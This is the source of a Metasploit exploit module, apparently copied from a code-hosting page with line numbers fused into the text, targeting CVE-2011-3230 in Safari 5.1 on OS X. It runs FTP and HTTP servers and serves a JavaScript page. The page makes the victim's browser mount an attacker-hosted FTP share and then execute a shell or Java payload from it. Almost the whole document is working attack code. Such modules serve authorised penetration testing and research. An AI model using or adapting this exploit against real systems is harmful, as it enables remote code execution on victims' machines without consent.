Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
19611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::FtpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => "Apple Safari file:// Arbitrary Code Execution",15'Description' => %q{16This module exploits a vulnerability found in Apple Safari on OS X platform.17A policy issue in the handling of file:// URLs may allow arbitrary remote code18execution under the context of the user.1920In order to trigger arbitrary remote code execution, the best way seems to21be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or22a file format that OS X might automount), and then execute it in /Volumes/[share].23If there's some kind of bug that leaks the victim machine's current username,24then it's also possible to execute the payload in /Users/[username]/Downloads/,25or else bruteforce your way to getting that information.2627Please note that non-java payloads (*.sh extension) might get launched by28Xcode instead of executing it, in that case please try the Java ones instead.29},30'License' => MSF_LICENSE,31'Author' => [32'Aaron Sigel', # Initial discovery33'sinn3r', # Metasploit (also big thanks to HD, and bannedit)34],35'References' => [36[ 'CVE', '2011-3230' ],37[ 'OSVDB', '76389' ],38[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],39[ 'URL', 'http://support.apple.com/kb/HT5000' ]40],41'Payload' => {42'BadChars' => "",43},44'DefaultOptions' => {45'EXITFUNC' => "none",46},47'Platform' => %w{java osx unix},48'Arch' => [ ARCH_CMD, ARCH_JAVA ],49'Targets' => [50[ 'Safari 5.1 on OS X', {} ],51[ 'Safari 5.1 on OS X with Java', {} ]52],53'Privileged' => true,54'DisclosureDate' => '2011-10-12', # Blog date55'DefaultTarget' => 0,56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),67OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),68OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])69]70)71end7273#74# Start the FTP aand HTTP server75#76def exploit77# The correct extension name is necessary because that's how the LauncherServices78# determines how to open the file.79ext = (target.name =~ /java/i) ? '.jar' : '.sh'80@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext8182# Start the FTP server83start_service()84print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")8586# Create our own HTTP server87# We will stay in this functino until we manually terminate execution88start_http()89end9091#92# Lookup the right address for the client93#94def lookup_lhost(c = nil)95# Get the source address96if datastore['SRVHOST'] == '0.0.0.0'97Rex::Socket.source_address(c || '50.50.50.50')98else99datastore['SRVHOST']100end101end102103#104# Override the client connection method and105# initialize our payload106#107def on_client_connect(c)108r = super(c)109@state[c][:payload] = regenerate_payload(c).encoded110r111end112113#114# Handle FTP LIST request (send back the directory listing)115#116def on_client_command_list(c, arg)117conn = establish_data_connection(c)118if not conn119c.put("425 Can't build data connection\r\n")120return121end122123print_status("Data connection setup")124c.put("150 Here comes the directory listing\r\n")125126print_status("Sending directory list via data connection")127month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']128m = month_names[Time.now.month - 1]129d = Time.now.day130y = Time.now.year131132dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"133conn.put(dir)134conn.close135136print_status("Directory sent ok")137c.put("226 Transfer ok\r\n")138139return140end141142#143# Handle the FTP RETR request. This is where we transfer our actual malicious payload144#145def on_client_command_retr(c, arg)146conn = establish_data_connection(c)147if not conn148c.put("425 can't build data connection\r\n")149return150end151152print_status("Connection for file transfer accepted")153c.put("150 Connection accepted\r\n")154155# Send out payload156conn.put(@state[c][:payload])157conn.close158return159end160161#162# Handle the HTTP request and return a response. Code borrorwed from:163# msf/core/exploit/http/server.rb164#165def start_http(opts = {})166# Ensure all dependencies are present before initializing HTTP167use_zlib168169comm = datastore['ListenerComm']170if (comm.to_s == "local")171comm = ::Rex::Socket::Comm::Local172else173comm = nil174end175176# Default the server host / port177opts = {178'ServerHost' => datastore['SRVHOST'],179'ServerPort' => datastore['HTTPPORT'],180'Comm' => comm181}.update(opts)182183# Start a new HTTP server184@http_service = Rex::ServiceManager.start(185Rex::Proto::Http::Server,186opts['ServerPort'].to_i,187opts['ServerHost'],188datastore['SSL'],189{190'Msf' => framework,191'MsfExploit' => self,192},193opts['Comm'],194datastore['SSLCert']195)196197@http_service.server_name = datastore['HTTP::server_name']198199# Default the procedure of the URI to on_request_uri if one isn't200# provided.201uopts = {202'Proc' => Proc.new { |cli, req|203on_request_uri(cli, req)204},205'Path' => resource_uri206}.update(opts['Uri'] || {})207208proto = (datastore["SSL"] ? "https" : "http")209print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")210211if (opts['ServerHost'] == '0.0.0.0')212print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")213end214215# Add path to resource216@service_path = uopts['Path']217@http_service.add_resource(uopts['Path'], uopts)218219# As long as we have the http_service object, we will keep the ftp server alive220while @http_service221select(nil, nil, nil, 1)222end223end224225#226# Kill HTTP/FTP (shut them down and clear resources)227#228def cleanup229super230231# clear my resource, deregister ref, stop/close the HTTP socket232begin233@http_service.remove_resource(datastore['URIPATH'])234@http_service.deref235@http_service = nil236rescue237end238end239240#241# Ensures that gzip can be used. If not, an exception is generated. The242# exception is only raised if the DisableGzip advanced option has not been243# set.244#245def use_zlib246if !Rex::Text.zlib_present? && datastore['HTTP::compression']247fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")248end249end250251#252# Returns the configured (or random, if not configured) URI path253#254def resource_uri255path = datastore['URIPATH'] || rand_text_alphanumeric(8 + rand(8))256path = '/' + path if path !~ /^\//257datastore['URIPATH'] = path258return path259end260261#262# Handle HTTP requets and responses263#264def on_request_uri(cli, request)265agent = request.headers['User-Agent']266267if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/268print_error("Unsupported target: #{agent}")269send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")270return271end272273html = <<-HTML274<html>275<head>276<base href="file://">277<script>278function launch() {279document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";280}281282function share() {283document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";284setTimeout("launch()", 2000);285}286287share();288</script>289</head>290<body>291</body>292</html>293HTML294295send_response(cli, 200, 'OK', html)296end297298#299# Create an HTTP response and then send it300#301def send_response(cli, code, message = 'OK', html = '')302proto = Rex::Proto::Http::DefaultProtocol303res = Rex::Proto::Http::Response.new(code, message, proto)304res['Content-Type'] = 'text/html'305res.body = html306307cli.send_response(res)308end309end310311=begin312- Need to find a suitable payload that can be executed without warning.313Certain executables cannot be executed due to permission issues. A jar file doesn't have this314problem, but we still get a "Are you sure?" warning before it can be executed.315- Allow user-specified port to automount the share316- Allow ftp USERNAME/PASSWORD (optional)317=end318319320